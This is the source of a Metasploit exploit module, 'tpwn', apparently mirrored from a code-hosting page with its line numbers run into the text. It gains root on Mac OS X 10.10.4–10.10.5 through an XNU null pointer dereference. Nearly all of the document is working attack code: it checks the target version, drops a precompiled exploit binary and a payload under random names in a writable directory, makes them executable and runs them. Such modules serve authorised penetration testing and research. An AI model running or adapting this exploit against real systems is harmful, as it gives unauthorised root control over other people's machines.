Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/tpwn.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(update_info(info,16'Name' => 'Mac OS X "tpwn" Privilege Escalation',17'Description' => %q{18This module exploits a null pointer dereference in XNU to escalate19privileges to root.2021Tested on 10.10.4 and 10.10.5.22},23'Author' => [24'qwertyoruiop', # Vulnerability discovery and PoC25'wvu' # Copy/paste monkey26],27'References' => [28['URL', 'https://github.com/kpwn/tpwn']29],30'DisclosureDate' => '2015-08-16',31'License' => MSF_LICENSE,32'Platform' => 'osx',33'Arch' => ARCH_X64,34'SessionTypes' => ['shell'],35'Privileged' => true,36'Targets' => [37['Mac OS X 10.10.4-10.10.5', {}]38],39'DefaultTarget' => 040))4142register_advanced_options [43OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])44]45end4647def base_dir48datastore['WritableDir'].to_s49end5051def check52ver?? CheckCode::Appears : CheckCode::Safe53end5455def exploit56if is_root?57fail_with Failure::BadConfig, 'Session already has root privileges'58end5960if check != CheckCode::Appears61fail_with Failure::NotVulnerable, 'Target is not vulnerable'62end6364unless writable? base_dir65fail_with Failure::BadConfig, "#{base_dir} is not writable"66end6768print_status("Writing exploit to `#{exploit_file}'")69write_file(exploit_file, binary_exploit)70register_file_for_cleanup(exploit_file)7172print_status("Writing payload to `#{payload_file}'")73write_file(payload_file, binary_payload)74register_file_for_cleanup(payload_file)7576print_status('Executing exploit...')77cmd_exec(sploit)78print_status('Executing payload...')79cmd_exec(payload_file)80end8182def ver?83Rex::Version.new(get_sysinfo['ProductVersion']).between?(84Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')85)86end8788def sploit89"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"90end9192def binary_exploit93File.read(File.join(94Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'95))96end9798def binary_payload99Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)100end101102def exploit_file103@exploit_file ||=104"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"105end106107def payload_file108@payload_file ||=109"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"110end111end112113114